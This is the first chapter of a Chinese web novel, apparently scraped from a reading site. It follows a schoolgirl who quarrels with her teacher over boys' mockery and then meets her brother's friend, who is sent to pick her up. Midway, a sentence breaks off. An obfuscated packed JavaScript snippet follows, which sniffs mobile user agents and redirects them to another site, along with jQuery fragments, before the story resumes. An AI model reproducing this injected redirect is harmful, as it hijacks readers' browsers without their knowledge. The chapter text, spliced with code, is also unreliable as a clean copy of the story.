默认冷灰
24号文字
方正启体

1. 1颗星星

作者:我有钱多多本书字数:K更新时间:
    那天,遇见裴星野之前,沈新羽觉得自己糟透了。


    糟糕到,她将自己的手工账本上好好的一幅风景画,用红笔画上了很多个血滴,看起来鲜血淋漓,连太阳都在泣血。


    放学时,班主任吴春妤将她叫进办公室训话,沈新羽低垂着脑袋,一声不吭。


    冬天傍晚的阳光很稀薄,隔着双层玻璃透进来,打在少女纤瘦的身影上,有种稀碎的脆弱感。


    吴春妤看着眼前的女生,严厉的话堵在喉咙里,忽然全都说不出口。


    她推推鼻梁上的眼镜,换了个方式,语气平和说:“那些起哄的人是不对,但是他们越起哄,你就越要好好跳,绝不能让他们看扁,要越挫越勇,努力跳出你的最高水平,用行动打败他们,折服他们,看他们以后谁还敢起哄。”


    沈新羽双肩微微塌着,很轻地嗤了一声:“我为什么要跳给他们看?”


    孩子肯说话就好,吴春妤心叹一声:“沈新羽啊,你有舞蹈底子,几个跳舞的同学里就你跳得最好,所以王老师才要你领舞,你要发挥你的长处,别让老师失望。”


    沈新羽站着一动不动,只有淡粉的唇轻轻扯动了下,重复说:“我为什么要跳给他们看?”


    吴春妤:“……”


    面前女孩皮肤白,长得瘦,一副柔柔弱弱的样子,连额前的刘海都像柳叶似的垂出几分令人心疼的软弱,可谁能知道这个女生就是油盐不进,比那些打架斗殴的男生还难管教。


    下午他们班有一堂体育课,因为马上要元旦了,学校要举办元旦晚会,他们班报了个舞蹈,吴春妤趁体育课将几个跳舞的女生叫去排练。


    谁知一群男生嘻嘻哈哈,偷摸着跟过去,围在走廊窗户上看她们跳,中间起了几次哄,沈新羽就不肯跳了。


    吴春妤连喝几口水,苦口婆心地继续说教了一通,末了,问女生要个态度。


    沈新羽却问:“吴老师,你会叫他们道歉吗?”


    吴春妤顿了下,解释说:“他们只是起哄而已,并没有对你有言语攻击对吧?”


    “那他们起哄是对的吗?”


    “我没说他们是对的。”


    “那为什么不道歉?”


    吴春妤嘴唇抖了抖,有些被气到,声量不自觉提高:“这只是很小的一件事,沈新羽你太敏感了,你要学会自我调节。”


    “我敏感有错吗?”


    少女忽然抬起头,站直了身体,声音还是很清柔,但姿态已然变得倔强。


    吴春妤坐在椅子上,蓦然觉得这女生个子好高,女生脊背一直,她竟然要仰视才能看到她的脸。


    不是,事情不应该是这样的。


    吴春妤自认为带过几届高一,班主任的经验不少,可面前的孩子太难沟通了,她不得不暂停这个话题,捡起对方的学习说一说。


    高一开学时,第一次的摸底考试,沈新羽考了班级前十,那时候吴春妤对她的印象还不错。


    可是一个月后的月考,沈新羽就掉到了三十,这次更厉害了,直接掉出了五十,全班倒数第三。


    吴春妤拿出沈新羽的月考试卷,其中数学最差。


    她摊开在桌上,对女生说:“你说你,本来是个很聪明的孩子,你的成绩不该是这样的,你这个数学都不及格了,为什么?上次你爸来学校,还说给你请了家教补数学了,不是吗?”


    谁知女生只是淡淡反问:“我的成绩不该这样,那应该哪样呢?”


    吴春妤又被狠狠噎了一下,只觉得这孩子在抬杠,在钻牛角尖,可看她一双干净清澈的眼睛,又好像是真心疑惑,真心求解。


    她很想拿出一套高中生的大道理好好说道说道,但经验告诉她,这个女生问题很大,她听不进去。


    事实上,沈新羽也的确不想听,她目光落在自己的试卷上,那上面很多红色的“X”触目惊心,和她涂在手账上的血一样。


    “那些题我会的不想做,不会的做不出,我应该怎样呢?”


    她觉得烦透了,从小被大人说你应该这样,你应该那样,好像她应该活在一个模子里,就像活字印刷里的字,一笔一画都不能出错,因为要供人看,供人读,供人评头论足,指指点点,不得逃避不得反驳。


    凭什么?


    吴春妤长长叹了声气,说教了这么半天,到此刻泛上来一丝疲惫:“你今天回家,下周一叫你爸爸来一趟。”


    这回沈新羽乖巧了,答应说:“话我会带到,来不来我管不着。”


    吴春妤倒吸一口凉气,无奈地抬抬手,放她走了。


    办公室里还有别的老师在,有人同情地对吴春妤说:“这个女生看着很乖,怎么这么叛逆?”


    英语老师从座位上起身,摇摇头:“沈新羽几门课里最好的是英语,可这次考试后面的几个大题都没做,作文也没做,听力还全错,我看她是故意的,我都不知道说她什么好了。”


    “唉。”


    “等她家长来了再说吧。”


    *


    今天是周五,全校放假,住校生也全都回家。


    沈新羽回到教室,教室里的人几乎走光了,只剩后排几个男生在嬉笑打闹。


    那些人正是下午跳舞时,起哄嘲笑她的那几个。


    沈新羽表情漠然,看都没看他们,径直走进去,心里却暗暗骂了两句。


    一群没有大姨妈的人渣,却有个男宝妈的班主任,吴妈妈重男轻女偏袒男生全校闻名,这件事轻飘飘地就揭过去了。


    是啊,她脸皮薄,被笑几句就受不了,所以需要调节的是她!


    “诶,沈新羽,你真不跳啦?那太可惜了。”


    “哎哟哎哟,沈新羽生气惹?”


    “快去哄哄人家哦。”


    “沈宝宝要哭惹。”


    几个男生嬉皮笑脸,眼色戏弄,有人吹口哨,有人拍桌子,还有人嘘声连连,叫嚣声夹杂着讽刺嘲笑。


    沈新羽走到自己座位前,快速收拾好书包,突然转头,马尾辫在后脑勺上一甩,一道锋利的眼刀精准地射向领头的那个,狠狠剜他一眼。


    随即将书包摔到肩上,踢开椅子,往外走去。


    身后静了一瞬,一时没人说话。


    *


    出了教学楼,沈新羽往学校大门走去。


    路上她给她亲哥沈泊峤发消息,问他到哪了,他说了来接她。


    五分钟后,沈泊峤回了条语音:“我堵车堵在路上了,我让我同事去接你,他离你近,很快就到了。”


    沈新羽压了半天的火气,“蹭”一下就上来了,连名带姓地喊沈泊峤的名字:“你不能接就不要答应我,出尔反尔是小人。”


    沈泊峤挠头,好声好气哄着:“我真的堵车,接你的哥哥马上就到了,你等一下,我把他的名片推送给你。”


    沈新羽:“不用接了,我自己会回家。”


    沈泊峤:“别闹,今晚我俩在外面吃饭,我有话和你说,吃过饭再回家。”


    沈新羽气得脸都红了,握着手机,站在学校门口。


    天快要暗下来了,路灯却还没有亮起,满大街都是人和车,闹哄哄的,混沌一片。


    她倚靠在街面商铺的廊柱上,弓起身体,一只手按在肚子上,按了一会儿,真心觉得糟透了。


    为什么女的要有大姨妈这种东西?


    身体不舒服,学校里破事一件接着一件,星期五还必须回家,那个糟心的家谁乐意回啊?


    手机“叮”一声,沈泊峤将一张名片推送了过来。


    沈新羽看都没看,不过是临时替她哥哥充当的一个司机,根本没有加微信的必要。


    但她需要问问什么车,车牌号多少。


    沈泊峤:“车是黑色的奔驰,车牌号我不记得了,反


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048580|194764||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    正是瑞京的牌照。”


    沈新羽忍不住吐槽,这个哥是有多不靠谱,满大街的黑色奔驰,她随便上吗?


    沈新羽跺脚:“那个人叫什么名字,多大岁数?”


    沈泊峤立刻又回了一条语音过来,报了人名:“他是我大学同学,和我一样大,你也叫他哥哥就好了。”


    沈新羽听了两遍人名,打出字:【裴星野?】


    沈泊峤:“对。”


    沈新羽看了看这个名字,往上翻到那张名片。


    这人的微信头像,不细看,好像是一张又黑又蓝的色卡图。


    点开大图才会发现,原来是一片幽蓝深邃的星空,那些星星遥远,耀眼,组成一片星河,有种空灵的美好。


    看起来名字不错,微信头像也有意味,待会儿人来了,可别是一只恐龙就好了。


    沈新羽熄屏,收了手机。


    瑞京的冬天很冷,她在校服外面穿了件羽绒服,淡淡的藕粉色,介于粉与灰之间,低调,柔和,身边人群走来走去,她将连帽大毛领兜上头顶,旁若无人,也不被人注意。


    不过手太冷了。


    等人的间隙,沈新羽又摸出手机,在备忘录里写明天要去超市买的东西,手套写在第一项,另外又写了七八项。


    可是才这么一会儿,手指已经冻麻了。


    抬头看向天空,昏沉沉的,好像头顶覆盖着一层厚厚的冰穹顶,又冷又闷,将人活生生罩在里面。


    她为什么要出生在这样的鬼地方啊?


    没来由地涌上来一丝伤感。


    想哭。


    就此时,侧后方忽然有人喊了声她的名字。


    听声音很好听,温润含玉似的。


    沈新羽吸吸鼻子,收起情绪,兜着衣领帽,脑袋连着身体一起转了个方向,看过去。


    只见那人唇角微微弯着,眸光深邃又淡薄,朝她走来的脚步不带犹豫,却带起身上长风衣两边的风。


    沈新羽怔了两秒,来人身姿落拓,清隽中有种傲气,散漫中又有种凛然,一时之间,很难说他是好人还是不好。


    而对方似乎有意逗她,冲她一笑,说:“我是裴星野,跟我走吗?”


    那个笑,不是耍流氓的那种轻佻的笑,更像是一种考验,想要考考她有没有胆量信任他一个陌生人。


    沈新羽勾勾书包肩带,无所谓地回:“走啊。”


    怕你啊?


    裴星野唇角勾起一丝赞许的弧度,将面前小姑娘打量了下,摘下自己的羊皮手套递给她。


    沈新羽有些讶异,没想到对方看出她手冷,那他仅仅因为一个背影,就笃定地喊出她的名字,也就不奇怪了。


    “一只就够了。”


    她从他手里只取了左手那只,戴上之后,重新扶到书包肩带上,右手则插进自己口袋。


    可裴星野又朝她递了下:“都戴上吧,我的车停的有点远。”


    沈新羽没再推让,接过,道了声谢。


    裴星野又问:“书包重吗?”


    沈新羽摇摇头,指间有暖意漫开,声音也变得脆甜:“不重。”


    裴星野点了下头,不再说什么,抬腿带她往停车的方向走。


    一路都是人和车,繁忙,嘈杂,水泄不通。


    沈新羽闷头跟在男人身后。


    很奇怪,他们仿佛穿行在一片混乱的战场上,四周杂乱无章,可他们走的这条路却似乎没有阻挡,一步都没停过,两边纷纷扰扰的声音像被一条大船拨开的水浪,滚滚往后翻卷,一点儿也没影响他们。


    今儿总算有件高兴的事了。


    沈新羽蹙了一天的秀眉不自觉舒展开来,抬头看向男人的背影,恰巧大街两边的路灯一刹那亮起。


    那光骤亮了整个世界,昏暗急速遁走。


    男人宽阔的双肩也落满了光辉,隐隐有星河,璀璨,夺目。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)